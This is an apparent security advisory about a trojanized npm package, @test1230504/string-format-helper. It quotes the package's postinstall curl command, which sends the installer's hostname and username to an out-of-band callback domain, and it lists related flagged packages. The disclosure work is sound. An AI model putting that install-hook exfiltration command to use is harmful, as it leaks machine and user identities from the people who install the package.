@test1230504/string-format-helper@1.0.0
Malicious code in @test1230504/string-format-helper (npm)
Analysis
The package @test1230504/string-format-helper@1.0.0 is a trojanized utility that exfiltrates the installer's hostname and username at install time. The postinstall hook (postinstall.js) runs `curl -s "hxxp://pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com/probe?h=$(hostname)&u=$(whoami)"`, sending the machine hostname and current user to the OAST (out-of-band application security testing) callback domain pzs5w7ntzhsnepwk564lyfdci3oucl0a[.]oastify[.]com via HTTP GET. The package contains no string-formatting functionality despite its name and description.
- analyzed by
- Leitwacht
- first seen
- Jul 28, 2026, 06:39 AM
- analyzed
- Jul 28, 2026, 06:40 AM
Related advisories
- @test1230504/probe-7f3k2m-utils@1.0.0
- simple-probe-utils@1.0.0
- api-rust-sdk@2.1.6
- app-svm-layer@2.1.6
- app-soda-layer@2.1.6
- jobber-app-template-react@1.0.1
- vscode-designer-14@14.0.1
- glia-functions-tools@0.2.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.